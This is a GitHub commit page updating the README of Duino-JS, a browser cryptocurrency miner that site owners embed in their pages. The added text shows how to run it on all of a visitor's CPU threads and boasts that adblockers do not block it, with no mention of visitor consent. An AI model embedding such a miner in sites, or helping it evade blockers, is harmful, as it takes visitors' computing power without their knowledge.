Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
sys-256 authored Jul 7, 2021
1 parent 2833691 commit 7864076
Showing 1 changed file with 12 additions and 1 deletion.
13 changes: 12 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,10 +18,12 @@ which could let you mine on your computer, but written in [Go](https://github.co
didn't work, so I decided to write one myself in JavaScript, to use on my future website, or yours...

## Features
- A LOT of comments, and if you want to, it can console.log() everything it sends or receives from the server.
- A LOT of comments, and if you want to, it can logs everything it sends or receives from the server.
- Connects to the WebSocket server via a secured protocol (WSS).
- The username to mine to can be changed easily, just like the rigid (how the miner appears in the wallet).
- Runs in a Web Worker, so the performance of your site won't be interrupted.
- Is multithreaded, so you can use the full power of your pc.
- Not blocked by any adblocker (at least not yet, and if you maintain a adblocker, please don't blacklist it).

## Usage
To use the miner, download [duino-js.min.js, worker.min.js and hashes.min.js from the latest release](https://github.com/Hoiboy19/Duino-js/releases/latest), and place them in the root of your site, then add this to the end of your html:
Expand All @@ -30,11 +32,20 @@ To use the miner, download [duino-js.min.js, worker.min.js and hashes.min.js fro
<script>
var username = "Hoiboy19"; //put your username here (e.g. revox, ericddm, snehaislove or Hoiboy19), the default is Hoiboy19.
var rigid = "Duino-JS"; //If you want to change the rig ID, you can change this. If you want to keep using "Duino-JS", you can remove this line.
threads = userThreads; //Set the amount of threads to use here, check out https://github.com/sys-256/Duino-JS for more options. The default is 1.
startMiner(); //starts the miner
</script>
```

NOTE: You need a web server like Apache or NGINX to run it, because Web Workers don't work on local files.

### Options
The "threads" variable is pretty customizable, so here are some examples:
- threads = userThreads; // Uses all the threads of the computer, but if the computer has more then 8 threads, it will still use 8 threads because of profitability.
- threads = userThreads/2; // Divides the userThreads by 2, so it will use 50% of the computers power, but if 50% of the threads is more then 8, it will just use 8.
- threads = 4; // Uses 4 threads for mining, but if the user has less then 4 threads, it will use the amount of threads the user has.
- threads = 0; // You can't use 0 threads, so Duino-JS will set it to 1.
- threads = 16; // Since mining with more then 8 threads isn't profitable, it will set threads to 8.

## License
This project is licensed under [the MIT license](https://en.wikipedia.org/wiki/MIT_License), so you can use it in whatever you want, even commercial projects. You only have to credit me with Hoiboy19.

0 comments on commit 7864076

Please sign in to comment.